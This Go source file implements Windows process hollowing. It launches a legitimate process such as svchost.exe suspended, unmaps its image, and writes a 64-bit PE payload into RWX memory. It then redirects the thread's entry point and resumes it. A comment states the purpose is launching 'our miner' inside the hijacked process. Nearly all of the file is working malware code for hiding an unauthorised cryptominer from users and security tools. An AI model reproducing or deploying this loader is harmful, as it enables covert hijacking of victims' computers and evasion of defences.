//go:build windows && hollow

package deploy

import (
	"encoding/binary"
	"fmt"
	"syscall"
	"unsafe"
)

var (
	kernel32 = syscall.NewLazyDLL("kernel32.dll")
	ntdll    = syscall.NewLazyDLL("ntdll.dll")

	procCreateProcessW       = kernel32.NewProc("CreateProcessW")
	procVirtualAllocEx       = kernel32.NewProc("VirtualAllocEx")
	procReadProcessMemory    = kernel32.NewProc("ReadProcessMemory")
	procWriteProcessMemory   = kernel32.NewProc("WriteProcessMemory")
	procGetThreadContext     = kernel32.NewProc("GetThreadContext")
	procSetThreadContext     = kernel32.NewProc("SetThreadContext")
	procResumeThread         = kernel32.NewProc("ResumeThread")
	procNtUnmapViewOfSection = ntdll.NewProc("NtUnmapViewOfSection")
)

const (
	CREATE_SUSPENDED       = 0x00000004
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
	CONTEXT_FULL_AMD64     = 0x10000B
)

// RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process.
func RunHollowed(targetExe string, payload []byte) error {
	// Parse payload PE headers dynamically
	if len(payload) < 0x40 {
		return fmt.Errorf("payload too small")
	}
	e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:])
	if int(e_lfanew)+24 > len(payload) {
		return fmt.Errorf("invalid PE header offset")
	}

	ntHeader := payload[e_lfanew:]
	if string(ntHeader[:4]) != "PE\x00\x00" {
		return fmt.Errorf("invalid PE signature")
	}
	if binary.LittleEndian.Uint16(ntHeader[4:]) != 0x8664 {
		return fmt.Errorf("payload must be 64-bit (x64) PE")
	}

	numSections := binary.LittleEndian.Uint16(ntHeader[6:])
	sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:])
	optHeader := ntHeader[24:]
	if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
		return fmt.Errorf("payload must be PE32+")
	}

	entryPoint := binary.LittleEndian.Uint32(optHeader[16:])
	imageBase := binary.LittleEndian.Uint64(optHeader[24:])
	sizeOfImage := binary.LittleEndian.Uint32(optHeader[56:])
	sizeOfHeaders := binary.LittleEndian.Uint32(optHeader[60:])

	targetPtr, err := syscall.UTF16PtrFromString(targetExe)
	if err != nil {
		return err
	}

	si := new(syscall.StartupInfo)
	si.Cb = uint32(unsafe.Sizeof(*si))
	pi := new(syscall.ProcessInformation)

	// 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state
	ret, _, err := procCreateProcessW.Call(
		0,
		uintptr(unsafe.Pointer(targetPtr)),
		0, 0, 0,
		uintptr(CREATE_SUSPENDED),
		0, 0,
		uintptr(unsafe.Pointer(si)),
		uintptr(unsafe.Pointer(pi)),
	)
	if ret == 0 {
		return fmt.Errorf("CreateProcessW failed: %v", err)
	}
	defer syscall.CloseHandle(pi.Process)
	defer syscall.CloseHandle(pi.Thread)

	// The following maps the exact structural steps needed for PE injection.
	// Note: To make this fully functional, you need full PE offset math
	// (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice.

	// 2. Get Thread Context to locate the Process Environment Block (PEB)
	// Allocate 16-byte aligned context buffer for x64
	ctxBytes := make([]byte, 1232+16)
	var ctxPtr uintptr
	for i := 0; i < 16; i++ {
		if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
			ctxPtr = uintptr(unsafe.Pointer(&ctxBytes[i]))
			break
		}
	}
	*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags

	ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
	if ret == 0 {
		return fmt.Errorf("GetThreadContext failed: %v", err)
	}

	rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64

	// 3. Read the PEB to find the original ImageBase
	var origImageBase uint64
	var bytesRW uintptr
	procReadProcessMemory.Call(
		uintptr(pi.Process),
		uintptr(rdx+16), // PEB.ImageBaseAddress
		uintptr(unsafe.Pointer(&origImageBase)),
		8,
		uintptr(unsafe.Pointer(&bytesRW)),
	)

	// 4. Unmap the original executable code from memory
	if origImageBase != 0 {
		procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
	}

	// 5. Allocate new memory for our payload at the required ImageBase
	newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if newMem == 0 {
		// Fallback allocation if preferred base is taken (Payload must support relocation)
		newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
		if newMem == 0 {
			return fmt.Errorf("VirtualAllocEx failed: %v", err)
		}
	}

	// 6. Write the PE headers and each PE section into the new memory allocation
	procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW)))

	sectionsStart := 24 + uint32(sizeOfOptionalHeader)
	for i := uint16(0); i < numSections; i++ {
		secHdr := ntHeader[sectionsStart+uint32(i)*40:]
		virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
		sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:])
		ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:])

		if sizeOfRawData > 0 {
			procWriteProcessMemory.Call(
				uintptr(pi.Process),
				newMem+uintptr(virtAddr),
				uintptr(unsafe.Pointer(&payload[ptrToRawData])),
				uintptr(sizeOfRawData),
				uintptr(unsafe.Pointer(&bytesRW)),
			)
		}
	}

	// Update the PEB with the new ImageBase
	procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW)))

	// 7. Update the Thread Context to point to our payload's Entry Point
	*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point
	procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)

	// 8. Resume the hollowed thread, launching our miner inside the target shell
	ret, _, err = procResumeThread.Call(uintptr(pi.Thread))
	if ret == 0xFFFFFFFF {
		return fmt.Errorf("ResumeThread failed: %v", err)
	}

	return nil
}